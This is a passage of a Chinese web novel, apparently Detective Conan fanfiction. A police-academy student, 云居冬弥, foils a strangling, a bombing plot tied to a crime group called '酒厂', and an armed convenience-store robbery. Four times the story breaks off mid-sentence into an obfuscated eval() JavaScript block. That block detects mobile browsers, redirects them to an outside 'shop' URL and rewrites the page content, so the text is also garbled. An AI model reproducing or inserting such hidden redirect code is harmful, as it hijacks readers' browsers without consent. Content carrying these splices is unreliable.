虽然他真的没有看出对方到底是怎么从云居冬弥那张毫无变化的脸上看出这件事的——他平时除了和别人对视时基本都是一副别人欠了他800万的批脸啊。 降谷零也有点意外:“原来那是想坐在这的表情吗?” 松田阵平肯定:“那确实是。” “其实很容易哦。”萩原研二wink一下,“直接看眼睛就可以了,云居的表情管理还算不错,但他真的很不会掩藏情绪,什么想法都写在眼睛里了。” “诶,这样吗?” “不过他为什么忽然改变注意了?” “还用说吗?”松田阵平挑衅地看了眼他对面坐着的人,“当然是你的问题啦,金发混蛋。” 降谷零拳头硬了:“喂!” * “云居同学真的非常在意「死」这个字眼呢。” 萩原研二说。 其实萩原研二的并没有特意观察,但他的表现真的很明显。 在上课时讲到有关死亡的案例,原本昏昏欲睡的人会清醒过来,认真听课;在食堂坐在角落里吃饭时,每当听到和“死”有关的事情,他都会下意识看向声源;在操场训练发生意外事故时,虽然他自己可能不觉得,但他看到同学捂着滋滋冒血的头的眼神格外不爽、危险。 这些放在其他人身上还好,但放在一个性格异常淡漠的人身上非常显眼。 真的很让人意外,一个仿佛对除了弟弟以外似乎什么事都不在意的人,居然会条件反射般地在意生死这种事情。 “那个家伙估计是个看到别人出事的时候会脑袋一懵,胡言乱语的人。” 松田阵平撇嘴:“不过要是出事的是他本人的话,他估计非常反对有人去救他,就算被救下也要满脸不满地说「你不该救我的」、「这真的很危险」之类的话。” “不过,如果是别人出事还是为救人出事的话他大概会说「我都说了吧,救人要量力而行」之类的话。” “真不知道他到底为什么对救人要保证自己自身安全这件事这么在意。” * “都说了,救人要量力而行,万一把自己搭上了怎么办呢?” 冷淡而毫无起伏的声音在耳旁响起,微哑,带着淡淡的寒意。 松田,你可以当预言家了。 诸伏景光看向空中挣扎的人,听到了班长沉稳的声音:“你们……都知道,该干什么吧?” 当然。 * 时间回到4秒前。 其实云居冬弥本人刚说完话就后悔了—— 现在什么情况啊?你就说这个? 万幸现在所有人都高度紧张,没有几个人会在意他说的话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619238|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 花了半秒说服自己后,云居冬弥看了眼教官的状况,眉头一皱,这种情况不迅速处理会出大问题的。他盯着高处平台看了一眼,觉得以他的实力,跳过去,抓住绳子再割断也不是不可以。 就是不知道小刻刀能不能隔断它。 啧,怀念他家中的小刀。 云居冬弥想着,看向刚刚还在吵的两人,随后看了眼十分同步的五人。 「垫脚」、「射击」、「子弹」、「手枪」…… 意识不到他们在想什么都难。 不是,你们对降谷同学的枪技这么自信吗?今天从第一次打靶诶。 云居冬弥眼皮一跳,觉得他还是先去上面当保险比较好,要是这个出了点意外,他还可以当个备选方案。 将帽子往下压了一点,云居冬弥绕过周围的同学,从侧边绕去楼上,幽灵般混到焦急的维修工二号旁边,死死盯着下面的状况,右手插在兜底,拇指搭在刻刀的滑块上。 私自携带小刀是违反校规的,他暂且还不想打扫澡堂……希望他们成功。 也希望他们快点。无论成不成功,再过45秒他无论无何都要动手,不然会产生脑损伤的。 祈祷JPG. 云居冬弥的视线落在那五人身上,意外发现他们配合地很好。 其实也不能说是意外,毕竟他一直都知道警校组之间非常有默契,只不过现在他们还没有真正熟起来—— 所以就更震惊了。 还没完全熟悉起来就已经这么默契了吗?! 班长冷静镇定,组织大局,作为基底充当跳板;猫眼青年秒懂对方意思,短暂交流,便借力跃起,踩在班长肩膀上托住昏迷的维修工,减少教官脖子上的压力;松田阵平坐在地上,迅速组装枪支;萩原研二凭借三言两语,炸出子弹在谁那。 最后便是降谷零。 他接过松田阵平的枪,填上子弹,对准麻绳。 射击。 绳子应声而断。 猫眼青年跳起,伸手接住维修工,护在怀中,平安落地。 班长身子微晃,但手稳稳地接住教官。 全程不到30秒,一气呵成。 距离云居冬弥避着人偷偷摸上二楼平台也不过15秒。 这不配合的挺好吗?看松田和降谷的架势还以为他俩不合呢。没想到还挺默契。 云居冬弥暗想,避开了身旁发来拥抱邀请的维修工二号,趁着大家都还在喜悦之中,没注意到有人消失/多出,默不作声地溜回人群中,假模假样地松了口气,跟着同学一起喊了几句称赞的话,似乎从未离开过。 无人死亡,挺好。 云居冬弥望向勾肩搭背的三人,盲猜松田阵平和降谷零今晚会有个交心局。 看来日后刺头就要组成团咯。云居冬弥估摸了一下他们五人加在一起的搞事能力,幸灾乐祸地看了眼缓过来的教官。 看来以后不用担心要打扫澡堂的事情了。希望教官能挺得住他们五人的威力。 云居冬弥在120的鸣笛声中跟着其他同学悠悠离场,走时,他看了眼坏掉的摄像头,有点疑惑。 摄像头什么时候坏了? 8. 云居日记(8) 不出云居冬弥所料,那五个家伙的关系肉眼可见地紧密起来,几乎每餐都坐在一起吃饭,相谈甚欢。 松田同学和降谷同学的关系好起来了,经常能看见他们在一旁聊天。在鬼塚班负责执勤、扫地的那天,云居冬弥还看见他们互借清洁工具,而他们的幼驯染站在一旁看,说着感慨的话。 不过说来也奇怪,在稍稍了解了一下班长后,云居冬弥意外发现班长和他的初印象不太一样,居然是那五人里第一个脱单的就算了……听到那句「如果你不变得比任何人都强,是无法践行正义的」时,他实在是没想到班长居然还有点偏执的天赋在身上。 可能是童年记忆造就的吧。 他根据经验猜。 不过这与云居冬弥无关就是了,这种东西向来是要他自己与自己和解才有用的,任何人都帮不了他。 比起这些有的没的,他更在意即将到来的周末,那天可以离校、发手机,去外面找家餐厅洗洗口,还可以顺便去超市买点零食和榨菜回来。 离校的理由当然不能写这些。 云居冬弥拿出病历本,面不改色地胡扯,说家里人希望他周末好好去医院复查之类的话,动之以情,晓之以理,成功说服教官,拿下了未来3个月的假期离校权。 好耶! 拿到手机的云居冬弥肉眼可见地高兴起来,眼底的困倦一扫而空。 他换了身常服,带上随身物品,打车回家,准备在家好好休整一下,等周日下午回来,再面对鸡飞狗跳的警校生活。 回家放行李,短暂休息片刻,云居冬弥便象征性地去医院,有了先前糊弄教官的经验,他平静而熟练地和医生东扯西扯,开了张复诊结果,装备将其作为他有好好去医院做检查的证物。 很久以前,似乎有人跟他说过,做戏就要做全套。 云居冬弥收好复诊报告,和带回去的行李放在一起,随后抓了把零钱,看了眼系统的天气预报,随手拎了把黑伞,准备去外面吃个晚餐。 走到家附近的商业街,云居冬弥随便走进一家装修合眼的拉面馆。他看了眼菜单,点了份招牌的豚骨拉面,数好所需的硬币,付钱,他拿上等号牌,站在无人的空地上观望了一下,便抬脚走向了个靠窗的位置。 阳光尚在,但窗外开始飘起了细雨,雨丝被风吹得歪斜,落在玻璃上,点点雨渍渐渐重合,凝成大滴的雨珠,往下落,蜿蜒的痕迹划过它所倒映的黑色剪影。 下雨了。 真不是个好天气。 拉面已经被店员端上桌,但热气腾腾的,有点烫,而现在他也不赶时间,云居冬弥决定一会儿再吃。他坐在沙发椅上,托着下巴,漫无目的地观察着拉面馆里的人,视线在隔壁桌的男孩身上停留了下来。 黑发蓝眼的男孩正盯着他看,眼里是同龄人未有的犀利。 很不错的眼神。 云居冬弥眨眨眼,朝对方笑了笑。 但只是片刻,他的注意力便转移到刚进门的两人身上,笑意未消。 * 那是个很奇怪的客人,他穿着黑色衬衫和同色长裤,配着浅色的外套,看上去还没大学毕业,最多20岁,他的存在感异常的低,似乎只是毫无存在感的背景板。 但他的外貌格外出众,黑发略长,肤色冷白,落下来的额发掩住了少见的浅淡瞳色,也遮住了凌厉的面部线条,让他看上去柔和了一下。 正常来说这种人的存在感不会这么低的。 他对他人的视线格外敏感,在察觉到目光的瞬间便自然而然地偏过头来,向暗中观察的黑发男孩颔首,嘴角扬起礼貌的弧度,含着点笑意的银灰色眼睛轻飘飘地看过来,带着几分不明显的审视意味。 但他的态度相当友好,只是自己本人并没有意识到这有什么问题,认为这是正常的。 他习惯这么看着别人。 当他移开视线看向别处时,他身上隐隐约约的危险气质忽然渗出来了,他略微挑眉,像是看到什么有趣的事情。 然后十分钟后他看到这位用餐结束的年轻客人步履轻盈地走向厕所。 拉面馆内发出的剧烈争吵、楼外忽然响起的爆炸和不远处不断响起的警笛声盖过了厕所传来的乒乒乓乓的声音。 他的思绪全在新闻里播出的惨烈现场上,当他回过神,看向打开的厕所门时。 他看见,那位客人手上便拎着一位崩溃痛哭的少年,随手将对方安放在无人的椅子上。他姿态随意,看似漫不经心,但眉间是散不开的郁气与烦闷,衣服微皱,脸上溅了点血,黑色马丁靴落在地上,烙出了个带血的脚印。 他丝毫不在意惊疑未定的人们,和上前询问的店长交流了几句,便淡定地站在厕所门口报警。 面对男孩若有若无的试探,他摸了摸脖颈,眼底带着没掩饰好的不耐烦和漠然,但很放松,似乎对此习以为常。 “只不过差点死了个人而已。”他漫不经心地警告,“你的技术太生涩了,不要随便套陌生人的话,万一他是个坏人呢,小侦探?” 小侦探:“?” 重点是套话技术差吗?重点分明是这里差点死了个人啊! 黑发青年打了个哈欠,似乎有点困倦,含糊地说:“年纪轻轻不要好奇心那么重,你还那么小,要是出事了你家人怎么办啊?调查真相这种事情就交给专业人士吧。” 专业人士,你吗? 由于距离很近,而且对方丝毫没有遮掩,所以小侦探很清楚地看到了他手上有一层薄薄的枪茧。 他脸上浮现出微妙的不信任。 * 云居冬弥觉得很正常。 他只是察觉到进门的两人看上去关系不错,相谈甚欢,仔细听却让人感觉他们关系恶劣,各种暗戳戳的讽刺接连不断,但他们眼中的关切和亲昵又不作假。 很古怪,像是拙劣的戏剧。 当两人演好前后矛盾,一前一后跑去厕所时,后者去前还幽幽地看了他一眼。 那时云居冬弥刚好吃完午餐,被这一眼看得浑身不自在。 为了以防万一,他擦干净嘴后便起身,去厕所外的水池洗手,顺便从隔音效果一般的门后旁听了一会儿,看一下到底会不会出事。 毕竟云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619239|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居冬弥现在的身份是个警校生,遇到这种事情还是阻止一下比较好。 而且他还挺在意那两个人的。 白发红眼。和他弟弟一个配色。 黑发灰眼。和他本人配色差不多。 而且他们两个也是前者为弟弟,后者为哥哥,这既视感太强了。 所以当看到犯罪嫌疑人绕在白发少年后方,将皮带勒在对方脖子上时,原本只想制止犯罪、没打算揍人的云居冬弥视线死死地烙在少年被迫扬起的头和笼罩着雾气的酒红色眼睛上。 硬了,拳头硬了。 这一幕简直就是当年欺负他弟的混蛋小孩长了他的脸一样。 好膈应!! 云居冬弥迅速而无声无息地从后方接近对方,扼住他的手腕,指尖用力,他的骨头发出不堪重负的咔嚓声,皮带哐地掉在地上。 白发少年滑落在地,捂着喉咙,撕心裂肺地咳着,愣愣地看着,咿呀咿呀地嘀咕着,时不时喊几句“哥”,生理性泪水顺着脸颊落在地上。 那人发出忍着痛,试图将手伸进衣服里掏东西,谷川居雾轻飘飘地看了眼,眉头一皱,腾出一只手,干净利落地卸下关节,对方痛地痉挛,瘫倒在地,凌乱的黑发下露出一双铅灰色的眼睛。 随后赏了个抱摔。 看了眼滑落在脚旁的物品,云居冬弥叹了口气,捡起□□,将保险关上,挑眉笑了一下,掂了掂,发现里面只有一颗子弹,大概率是用来自.杀的。 犯罪嫌疑人挣扎着爬了起来,飞扑过来,云居冬弥无奈地叹了口气,微微侧身,躲了过去,顺势用脚踹飞。 “打架毫无章法全靠蛮力,有点训练痕迹但不多,一被打断进攻就不知道今夕何夕。”云居冬弥微妙地看了眼他,“你是被扔出来送死的?” 那人不说话。 “你们俩惹什么人了?给我演这出破戏。”云居冬弥朝白发少年顺口一问,但还是没有人回答,他收好枪,耸了耸肩,“算了,你别告诉我,我不想惹麻烦,你还是去跟警察说吧。” “……你多管闲事就已经惹到事了。”狼狈不堪的黑发少年幽幽地说,“看在你阻止了我的分上,祝你好运。” 他一字一顿地说:“乌鸦在注视着你,谷川居雾。” 乌鸦? 什么意思?代指黑色阵营的某个人/组织吗? “希望你不要后悔你的选择。” * 结束笔录,云居冬弥回到家中,躺在沙发上休整片刻,他叹了口气,拨通了他为了调查自己所委托的侦探的号码。 “毛利先生,您还接委托吗?我想调查两个人。” “是的,这个委托有一定的风险,如果您有问题的话也可以……嗯,价格在上次的基础上再翻一倍。” “对,尽量不要惊扰到别人——包括警方、极道和他国势力,也不要透露给其他人,我不缺时间,请保障自身和家人的安全。” “好的,可以,我用上次的联系方式将信息发给您。” “下次再见。” 云居冬弥取下了一次性电话卡,将其碾碎。 9. 云居日记(9) 在收到对面新发过来的有关“云居冬弥”这个身份的过去信息补充后,云居冬弥深刻认识到在学校藏一部备用机的必要性。 这也太长了吧! 云居冬弥沉痛地喝了口冰咖啡,安抚一下受伤的心灵,随后开始翻看新的资料。 和上一份简要的报告不同,这份着重于对他在日本高二到高三时期的调查,内容十分细致,但看得他感觉他有点头痛。 【长期不待在学校】、【似乎不喜欢拍照】、【几乎不参加集体活动】、【习惯把控周围人的动向】、【富二代】、【曾从一辆很贵的黑色复古车上下来】、【卷入过一场爆炸案】、【疑似会拆弹】…… 云居冬弥从抽屉摸出一张白纸,在上面记录上他认为重点标记的信息,钢笔在纸上留下了一连串飘逸的字体,笔尖画过纸张,发出沙沙的声响。 他写得很慢,时不时停下来又看几眼资料,就这么断断续续写了一个多小时,他才真正停下笔来。他靠着椅背举着这张纸看,犹豫片刻,又拿起笔,着重圈住几个关键词,并将一些事件与事件间添加了连线,在上面加了写注语。 窗外的雨已经停了,云居冬弥盯着这张纸看了许久,神色不变,确认内容已全须全尾地存入系统备忘录后,将纸折成小块,扔到铁碗中,用打火机点燃了它。 注视着雀跃的火舌,炽热的温度落在身上,他莫名有种逢年过节祭拜时烧纸的错觉。 “你说得对,我真的很不擅长推理这种事情,以后还是别当刑警了,免得耽误事。” 云居冬弥不擅长推理,虽然他的观察力自认还不错,但通过各种乱七八糟的内容整合出真相这种事情他一点都不擅长——不在现场,就凭空(也不是空,有网上文件)来推,他很难推出来。相对于他,他弟更擅长这些,他以前和弟弟凑对玩海龟汤是他最烦、最痛苦的事情。 因为他常常半个多小时还没理出汤底。 不行,下个月必须去孤儿院看一眼,总感觉那里有问题。 【不要妄自菲薄,宿主。】系统提醒道,【你现在所知道的信息并不全面,推不出来是正常的。】 “嗯,我知道。”云居冬弥学着他弟的口吻说,“只有当线索足够多时才能平凑出真相。” * “当线索足够多时才能平凑出真相,不要半途而废嘛,kiri。” 树荫下,弟弟坐在他身旁,用手指戳了戳被海龟汤搞崩心态、CPU过载、面无表情地看着天空的谷川居雾,朝着他眨了眨眼,发现卖萌对他无效后便轻声诱劝道:“其实也不难,这是新手海龟汤,你再多试几次大概就能获得所有的信息点了。” 谷川居雾面无表情:“不,我真的不想再猜了。” “你真的很不擅长调查和推理诶!好歹考海龟汤练练嘛!哪能一直靠武力值强行解决?再这么下去迟早要出事。”说着,弟弟做出一副可怜巴巴的表情,“我只有哥哥了,万一你出事了我该怎么办?” 谷川居雾一向对弟弟心软,哪怕知道他是装的也一样心软,属实是被对方拿捏住了,他眨了眨眼,平静地说:“那我们继续。” 弟弟泪水一收:“好耶!” 谷川居雾复述:“好耶?” 谷川居雾回忆片刻,说:“A在镜子里看到的B是假的?” 弟弟:“是也不是。” 谷川居雾:“B真的死了。” 弟弟:“是。” …… 谷川居雾在脑中对应之前提到的有效信息,稍稍整理了一下便感到头晕眼花,梳理了许久才缓缓顺出了这个海龟汤的汤底。 弟弟海豹鼓掌:“恭喜你答对了!” 对此谷川居雾并不满意,他用手指敲了一下弟弟的头,不赞同地说:“你从哪里听来的奇怪海龟汤,小小年纪不要讲这么重口的事情啊,kumo。” 弟弟笑嘻嘻地说:“知道了,我下次会注意的,kiri。” “没有下次。” * “没有下次了,不要仗着自己年轻就乱折腾。” 一天没到便二进宫的黑发青年面无表情地坐在椅上,姿态随意,敷衍得点点头,表示他知道了。 知道了,但他不想改。 不就是徒手制止了一名持刀乱砍的危险分子搞事情吗?有什么大不了的。 就算对方持枪,这种货色他也能一个人放倒8个。 云居冬弥对此相当自信。 * 再怎么自信也不能顶着被炸飞的危险制止持刀的恶名远扬的炸弹犯行凶啊! 负责劝导的警官看到对方这一副左耳进右耳出的样子就头疼,感觉回到了曾经因伤回警校当助教的时候——回到了为班中那两刺头头疼的日子。 万幸那两个祸害提前被公安要走了,不然他根本撑不到回搜查一科…… 不过这次公安那边来要案子的人怎么看上去有点眼熟啊。 怎么越看越像那两刺头。 * “教官看我们的表情好恐怖啊,雾川!” “别说了,理事官还在等我们呢,望月……去晚了你又要挨骂了。” 望月警官本就暗淡的神色更暗了。 我真的不是故意摆出那种傲慢又不讲理的样子的,主要是公安的工作太忙了,上司加急催催催……我真的不是故意的,竹原教官! 抱着文件匆匆离去的年轻公安默默在心里道歉。 在被要到公安前,他一度以为警备企划课是个神秘、很帅气的地方,结果发现牛马无论在哪里都是牛马,公安的加班程度比刑警还更胜一筹,他每天不是在加班,就是在加班的路上,常年赶不到末班车又舍不得打车,于是在隔壁的胶囊公寓过夜。 可恶!为什么这倒霉炸弹犯的炸弹是从「酒厂」买的!! 昨天傍晚,就在云居冬弥制止犯罪的同时发生了多起爆炸案,这些案子均为一人所做,而那个炸弹犯刚刚被捕——没错,就是被云居冬弥制止的那个蛇精病炸弹犯。 而这炸弹犯背靠的是一个代号为「酒厂」的跨国犯罪组织。 酒厂的势力遍布全球、资产雄厚,在日本乃至全世界的政界、经济界和科学界中暗中操控着众多的线索和人物。这个组织行事极为隐秘,成员们都穿着如乌鸦般漆黑的衣服。(来自百度) 这种危险的组织自然是被公安重点关注的。 而他所在的这个部门正是专门处理有关酒厂的各种大小事件的「零组」。 想到这,他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619240|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经为那个名为云居冬弥的警校生后辈感叹。 怎么什么事都被你碰见了?先是和酒厂派来鲨人灭口的津川哥弟,又是爆炸案,你的运气那么奇特的吗?你和酒厂那么有缘吗……不对,这是孽缘啊! 你还是别有缘了,学弟。 * 云居冬弥不相信运气和缘分。 他感觉这一切都有迹可循。 先是那两个来问好的津川哥弟,又是直接往他这里撞的爆炸犯,明显就是他们背后的人的旨意。 噢,顺带一提,昨天那两个少年黑发的那位哥哥叫津川影,他弟则叫津川星,这个信息是在将他们两个交给警察前他套出来的。 啊算了,这些不重要,重要的是他们背后的人是什么意思—— 如果是认识、了解他的话,不应该很清楚就这种炸鱼放在他面前和挑衅没什么区别的吗? 以及,「选择」? 为什么津川影要说「不要后悔你的选择」?以及那又嘲讽又叹息的「哈」是什么意思? 云居冬弥不知道。 他也不太想知道。 有某种预感,当他知道这个事情后他可能就再也回不到现在这种平静的生活了。 但云居冬弥没有选择,命运的齿轮仍然在缓慢而稳定地前进着——就像「云居冬弥」本身就是个恶意的玩笑而已。 * “云居冬弥吗?” 翻看文件后,坐在黑车后座位的理事官喝了口红茶,沉声道:“如果是那位先生取的……那他性格还真是恶劣啊。” * “诶,凌志NX上的那位不是黑田吗?他今天不是要去医院复检吗?怎么还没走?” 竹原警官纳闷地说。 “复检?”跟着出来的云居冬弥站在他身旁,透过半降的车窗,看到对方灰白的头发,疑惑地说,“黑田前辈是加班加久了身体出问题了吗?” “啊,不是的。” 竹原警官摆了摆手,没有回答,只是似叹似喟地念叨了一句:“十年啊,人生有几个十年。” ……十年?是十年前出了什么事吗? 没等云居冬弥思考出什么,他便看到黑田兵卫把车窗完全降了下来,朝他们这里微微颔首,似乎是在打招呼。 不知道是不是云居冬弥的错觉,他感觉对方似乎看的不是竹原警官,而是他。 但他身旁是竹原警官很自然地打了个招呼,云居冬弥又觉得应该是他看错了。 竹原警官看他没点反应,不禁感叹怎么这人这么没有眼力见,于是一手呼在他肩膀上,恨铁不成钢地说:“喂,这可是走捷径套关系的好机会,你也打个招呼啊!” 啊?他也要吗? 云居冬弥有点困惑,他犹豫着,有点僵硬地朝对方摆了摆手。 ……嗯,他怎么愣了一下? 不,应该是他看错了吧。云居冬弥将其归结于他眼花了——虽然他很少眼花,也从没有过一天眼花两次。 * 黑田兵卫确实愣了一下。 他摇下车窗,朝目前对自己本人一无所知的黑发青年颔首时,完全没想到过对方还会犹豫着朝他打招呼。 真是活久见了,谷川那家伙居然学会社交了。 10. 云居日记(10) 在送走云居冬弥后,回到□□处理班的竹原警官完全没想到明天会看到带着十几人去写笔录的同事,以及跟着他们背后、三进宫的云居冬弥。 “不是,你看看这个周末都几次了?一天一次很好玩吗?” “而且你也不看看这次都是什么人啊?他们手里有枪诶!有枪!你不怕他手指一按,‘碰’地一声被子弹打到吗?” “哦不,你不是怕,子弹本身就是擦着你过的。” 云居冬弥沉默不语,视线微微偏移,一副任你说任你骂的态度。他穿着宽松的上衣和略微磨破的牛仔裤,脸颊上烙着一条血痕。在冷白的灯光下,本就苍白的脸看上去甚至透着点病态,也就显得那已经结痂的血痕格外刺目。 对此,一块写笔录的同期不禁微微侧目。 谁啊,这么勇,居然敢对云居同学这么说话?哦,原来是竹原前辈……等等,三进宫?云居同学,我们过的是同一个周末吗?怎么你周末这么刺激? 作为十几号人中唯一负伤的云居冬弥觉得对方有点大题小做了。 在被劈头盖脸骂了十分钟后,他的忍耐倒计时结束了,他抬头,淡淡地说:“竹原警官,你唾沫星子喷到我脸上了。” 他有点嫌弃:“还有一滴差点飞我眼睛里了,我能去洗脸吗?” 竹原警官:(◣_◢) “你还敢说!你看看这是什么事啊!” * 其实这事也不能怪云居冬弥,毕竟他只是回警校时,刚好碰见了气宇轩昂的聚团去便利店抓劫匪的同学们。 他偏头看向穿着花衬衫、戴着黑墨镜、明显是这场事件的领头人的三人。 云居冬弥面无表情中带着点一言难尽的脸仿佛在说「你们的品味还挺独特的」,然后在同学们的七嘴八舌下大概理清了到底发生了什么事情。 正好他现在也闲着没事,就把行李物品往警校保安那一放,一起跟着去便利店看看了。 因为他直觉觉得这事不对劲。 诸伏景光注意到有人用招牌的灯光亮灭打摩斯密码,对应翻译后得出了便利店中的人有人“需要帮助”,而对方可能行动受限,只能通过这种方式迂回表达。 这种表达方式+五人组少了两人……那他很难不猜到便利店里面可能有谁? 那就有有趣了,正常的情况应该拦不住那两个警校前二吧? 再加上他来的时候模模糊糊听到的巨响。 他怀疑犯人不止一个,而且手中有枪。 但问题的是,都有枪了,抢劫也就算了,这种配置怎么可能去抢便利店?就算是从那抢ATM的补充金,那些钱和持枪劫持相比也太小打小闹了点。(云居:好歹去抢金店啊,现金拿多了还嫌重,带不走呢) 而且退一万步来讲,对方为什么要抢一个在警校附近的便利店?去人少点而且远离警察局的地方抢不行吗?非要顶风作案? 难道犯人的脑子有坑吗? 云居冬弥合理阴谋论一下,这背后肯定有问题。 所以他看到那三人推开门,说着不着调的话,明知危险还特地往枪口那边凑时,他整个人都震惊到了——这么勇的吗?那可是枪,真枪,而且从那个枪的口径来看,一枪就可以把你的头崩烂哦——你们就这么喊着友情啊羁绊啊冲上去吗? 萩原研二惊愕地说:“喂,不是吧?!这是枪吗?” 你这惊愕可真惊愕啊,看上去就和真的一样……你脸上冒冷汗了?你这是真惊愕啊。 松田阵平接戏:“你怕什么啊!肯定只是拍电影用的啦!” 诶,没看出来你演技还不错,他还以为你只会恶人颜恐吓呢。 诸伏景光也加入战场:“喂喂,拍什么电影?也让我们录个脸嘛!” 猫眼小哥你怎么也这么莽?看上去和你的风格不搭啊,他一直以为你是温柔挂的,你OOC了啊! 看到诸伏景光在劫匪茫然的否定中靠近,脸和枪口只有两个手掌的距离,还凑得更近时,云居冬弥裂开来了。 云居冬弥觉得不行。 * 松田阵平也觉得不行。 云居那混蛋和他们这群明显偏欢乐喜剧的风格完全不搭,他就是站在门口围观,那群劫匪就忍不住把枪口往那移。 但对方还是不为所动,就这么直愣愣地站在那,抱着臂,面无表情地看着。 松田阵平面色不改,稍稍遮住劫匪看过去的视野,他依旧顶着个大大咧咧的傻笑,伸出手,想要抓住他身旁的人手中的枪,嘴上还念着根本没有串供的台词,和嘈杂的人声混成一片:“我想演刑警!” 然后他就听到另一位劫匪举着电话说:“别管了,那杀掉!!” 云居冬弥平静地看过去,波澜不惊的银灰色眼睛里似乎翻涌着某种令人毛骨悚然的东西,他就这么站在那,似乎有点困惑,用轻飘飘而冰冷的声音问:“你说,杀掉谁?” 他的声音很轻,但格外空灵,裹挟着毫不掩饰的寒意,就这么幽幽地飘到耳旁时松田阵平差点打了个寒颤。 就在全场被冻住的那半秒,萩原研二适时招手高呼:“喂,都进来!可以在里面客串的哦!!” 一群人一窝蜂地冲进来,现场一片混乱。 但这种程度的混乱压根阻止不了云居冬弥,他如閒庭信步般避开四周的人,像幽灵一样飘到说出那话的人身旁,向来不是面无表情就是礼貌性微笑的脸上忽然扬起一个和他平时从未有过的、过于阳光的笑容,他握住抖动的枪管,笑吟吟地说:“这场戏该结束了,对吧?” “碰——” 子弹划过脸颊。 云居冬弥的神情有些恍惚,他脸上的笑意如冰雪般消散,仿佛从未存在过。 他反手握住热腾腾的枪管,用力向上甩,使对方脱手,随后用另一只手死死地扼住对方的喉咙,并没有收力,将他掀倒在地。 全程不过2.5秒,云居冬弥单膝压在他身上,十分顺手地卸掉对方手脚的关节,又等了一会儿,待一切混乱都结束后,挑眉着说:“你看,好戏散场了。” 随后他盯着对方看了一会儿,回头看了眼盯着他看的松田阵平,真诚地问:“我能揍他吗?” 不、不能!你不要捣乱啊,云居! * “我没有,我那分明是正常的防卫行为。” 在竹原警官的强力谴责下,云居冬弥必须在明天下午之前交给鬼塚教官一份3000字检讨。 对此,云居冬弥非常不满。 他真的觉得他没做什么。 他最开始只是站在门口围观,后面动手也是因为对方表现了明显的攻击性,所以他迫不得已——也可以说是正如他所愿地进行了反击而已。 后面揍人揍狠了点他也是有原因的,那句「都杀掉」可能有毒,当场把他创进了混乱状态。 他当时整个人都是乱糟糟的,过去和现实在他眼里重叠,他又晕又难受又想吐,头痛欲裂,浑浑噩噩恍恍惚惚,所以下意识揍狠了一点也是情有可原的。 但包括警校同学在内的所有人没一个相信他的话。 气抖冷,他分明很少说谎的! * 拜托,你要别人怎么相信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619241|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说的话?你知道你当时笑得有多诡异吗?啊? 身为近距离观察的松田阵平听到云居冬弥自证清白的话后,眼里的质疑都快凝成实物了。 但看到云居冬弥充满困惑和不满的眼神时,他惊奇地发现他是认真的。 ……好像无论多么诡异的事情发生在云居身上都不惊奇,跟他吃饭的那些天,松田阵平惊奇的次数快是之前四年的总和了。 写完笔录,大家决定一起去隔壁的烤肉店里庆祝一下,在路过那家被警察包围取证的便利店时,松田阵平将墨镜别到领口,问:“所以你当时就这么抓着枪口贴上了到底是怎么想的?” 云居冬弥犹豫片刻,低声道:“我什么也没想,只是单纯觉得我应该那么做……好像这样才是正确的?” 他似乎自己本人都很疑惑为什么他会这么做。 * 云居冬弥确实很疑惑。 这次的记忆好奇怪,他觉得他不像是感情波动那么大的人,哪怕是有人在他面前死去,他也应该是个冷眼旁观的混蛋才对——虽然有点难受,但他应该确实是个不太正式死亡的人——他以前应该经常见到有人死掉。 不过这也还算正常。 在美国,在米花町,无论哪个地方都有超高的死亡率,他经常见到死人也还说的过去。 他看死人看多了,看到麻木了,也不是不可能。 但怎么说也不该是愤怒到极致吧? …… “别管了,那杀掉!!” 他通过监控摄像头看到一名黑发男孩浑身是血地躺在地上,四周一片狼藉,他用手肘挡在眼上,整个人伤痕累累、疲惫不堪,但奇异的是他居然在笑,笑得上气不接下气,就算他每笑一下伤口涌出的血就更多他也毫不在意。 有人用□□对准了他的头。 透过收音器,他听到男孩用沙哑到听不出原来的声音漫不经心地说:“随你。” ——什么什么什么?你说什么?不不不不,不该是这样的! 